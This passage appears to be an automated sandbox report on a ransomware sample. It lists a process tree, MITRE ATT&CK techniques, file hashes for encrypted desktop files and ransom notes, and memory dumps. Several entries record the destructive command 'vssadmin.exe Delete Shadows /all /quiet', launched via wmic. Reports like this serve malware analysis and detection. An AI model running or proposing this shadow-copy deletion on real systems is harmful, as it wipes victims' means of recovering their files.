C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2332

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1272

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1572
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2340

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2580

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2604

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2616

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\ApproveOpen.php.csnwyqmwa

MD5
42081712abd2f0d8c0fdfd51dad256c8

SHA1
68f2e039908f6193ebad5fd453b99d4fdb681ff0

SHA256
3d6643dd6b280d6d90fb1e3872a9490d19a60766c76219f2c225cf94ecd8dcfc

SHA512
6115effac04c4e52ef8533265014f9b438b4142e3a7106c11016c6aaf3ac0220400eff6b8bdb644723e076ea5ea30c5579fc3f057f221ff97214c6445ececc4b

Download Submit
C:\Users\Admin\Desktop\CheckpointUnlock.svgz.csnwyqmwa

MD5
0e9d64d1b644771563a40872ac1f6329

SHA1
cb0d41b49c40c4f9a86bc9ac2b59db130b9caa3b

SHA256
391920a85a603e2409fd8ec4d34c996848bfed0bd90f1ea4c9bbd650034f85ad

SHA512
3622bdb7afc44d6d59240e9181c8e4ca49b8862f21b43cb9767a39b477050d6d3030a8dcdc1b014b05cc0af3eb83716c271a23037649b6b0442ee8acb7a754fb

Download Submit
C:\Users\Admin\Desktop\EditGet.mpeg.csnwyqmwa

MD5
659159fa0ab864d7ced24615e1a58264

SHA1
b076a1bc0f856089bcf57c38a1c952e4e7642eaf

SHA256
2803787dbc33e9f773075cb54adb92be2c4a1aa8ff0066d3e580d3df0caeddb2

SHA512
e181f2e6b486044e4f16f85def2f8eb748f4bfbae1dfb589fbf9465f3cd501cb57464dd76da41f733a44ce2186aefbde6ffc22f723060dfb5522529988d5f535

Download Submit
C:\Users\Admin\Desktop\EnableExport.wmv.csnwyqmwa

MD5
bbaa3cd7b906c70166dfbe7b7223283e

SHA1
819f182ce15a091a58c00e155ad0b19de23e3e05

SHA256
6fcf252451982d0c87b6f3713b59fdd7a5786146862fcafe66fda8362a417970

SHA512
26ae060e2cad3e6dbc25a6b7b3ccb38832ce07b6bc04312bd333708dc492931cb56577171b3f7b8432fbe3eadeaba796dcea09a7067112baee9604c1e3810fc2

Download Submit
C:\Users\Admin\Desktop\HideUse.dotx.csnwyqmwa

MD5
2542ed56f85ed4cd05fbea67e8b60552

SHA1
cd12067382e9de10fbcdb77856f8dc1a70ec185c

SHA256
a1b8b319a4d153c4741f76300d4226238eec14a8151cf4f8e3b952cab6d6e0b3

SHA512
93e0539b6271524292fc45f20e9fcb901bf39ace148a6c9d0015c616ef136798e982d79014fc2acb83302f6f10c8879a5c877be3e4e25296fbf7a402bba90784

Download Submit
C:\Users\Admin\Desktop\MergeMove.dxf.csnwyqmwa

MD5
d26c00c37d5991d48c928307a6a4776c

SHA1
762f7aa3c0d03d9ea9e3118095121295af9bbcfd

SHA256
22e71d17137dae851d3c84892117fb953e2ac3273c95ce6f57abc6759397c76b

SHA512
e2adc0b1e457d681b7f51f44679077918eeee9462a86798a0025574e32e0adaadf499bb6fc2b8d1ce45e786d748e2b334dd2118e4f424a12a45aa22eaddbcadf

Download Submit
C:\Users\Admin\Desktop\PopWatch.zip.csnwyqmwa

MD5
d35ae5207fd40e47a3c085c75d64ce13

SHA1
33f359f7f6a9f5d9a0acbc44ac219d8e0b51a3d1

SHA256
4fbf1806f781ec7529faec789601aeda53806e1e00d99ec147f1544e07ac21dd

SHA512
aa7819041f9cebda33d1cf62c3651abdd5c91a98c0b142e9c047f12ed7c9cd5c9d15e290d5472663691dc5db52a7ec5ba17395477cb886dbd0172baaf7c00857

Download Submit
C:\Users\Admin\Desktop\ReceiveLimit.bmp.csnwyqmwa

MD5
12971c1b25aef17552833b8ef8c35403

SHA1
9cc61c27a29a11e84ca783a665686f87324971bf

SHA256
5fdfa94a5f0b8c7a09fc55ea50250894fa193490054abaec1111e1bb61322397

SHA512
a8cd82b22aa097e7830c349177b56da02e5b13e01d32de1a0ec354c9471ec903b190e1a3567a969a3974445ca217cdc54dedd8cb63448de9e31bc5260e29b50b

Download Submit
C:\Users\Admin\Desktop\ShowPublish.mov.csnwyqmwa

MD5
1025208bc0d6cb27a87b5928cbfe3d57

SHA1
40d597edd2e7722ad0a84a283cfa42757833e6b8

SHA256
3364b9a4d035e3637042f24c20c7a30b8918407dac27169683206e7eae644ec2

SHA512
66ac94177e1607193cdd5c49f9ff7ae0e9388a6a6c002a8958d66ca4ad356a16bed6c8395107bcd0daacba2af86f87e946905ead6c40aa75f7240689da2f956e

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
a7003039257ddcb43b7583a47852c4c1

SHA1
785ba41e3b5330e4a2a381181b7c6e6293c60c27

SHA256
0123ee0e82e3a162dead3dbf721475adc2a7b0a55dd4f321380985e98ed1c18d

SHA512
9a86cb573a6b4a5566a4ae6d180914db9c68a7ff85117f372e64190f0ff923c1c0fc537fb298068cbfed1ed9dcd15b3021dd0d1a7ac53c9a8b1100ab47b13e40

Download Submit
C:\Users\Public\readme.txt

MD5
a7003039257ddcb43b7583a47852c4c1

SHA1
785ba41e3b5330e4a2a381181b7c6e6293c60c27

SHA256
0123ee0e82e3a162dead3dbf721475adc2a7b0a55dd4f321380985e98ed1c18d

SHA512
9a86cb573a6b4a5566a4ae6d180914db9c68a7ff85117f372e64190f0ff923c1c0fc537fb298068cbfed1ed9dcd15b3021dd0d1a7ac53c9a8b1100ab47b13e40

Download Submit
memory/636-87-0x0000000000000000-mapping.dmp

Download
memory/760-88-0x0000000000000000-mapping.dmp

Download
memory/980-86-0x0000000000000000-mapping.dmp

Download
memory/1028-62-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/1028-61-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1028-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1196-63-0x0000000003AA0000-0x0000000003AB0000-memory.dmp

Filesize
64KB

Download
memory/1244-71-0x0000000000000000-mapping.dmp

Download
memory/1396-89-0x0000000000000000-mapping.dmp

Download
memory/1408-81-0x0000000000000000-mapping.dmp

Download
memory/1532-82-0x0000000000000000-mapping.dmp

Download
memory/1712-65-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Filesize
8KB

Download
memory/1712-64-0x0000000000000000-mapping.dmp

Download
memory/1728-83-0x0000000000000000-mapping.dmp

Download
memory/1732-67-0x0000000000000000-mapping.dmp

Download
memory/1752-68-0x0000000000000000-mapping.dmp

Download
memory/1796-84-0x0000000000000000-mapping.dmp

Download
memory/2128-90-0x0000000000000000-mapping.dmp

Download
memory/2140-91-0x0000000000000000-mapping.dmp

Download
memory/2156-92-0x0000000000000000-mapping.dmp

Download
memory/2232-96-0x0000000000000000-mapping.dmp

Download
memory/2332-98-0x0000000000000000-mapping.dmp

Download
memory/2340-99-0x0000000000000000-mapping.dmp

Download
memory/2376-100-0x0000000000000000-mapping.dmp

Download
memory/2392-101-0x0000000000000000-mapping.dmp

Download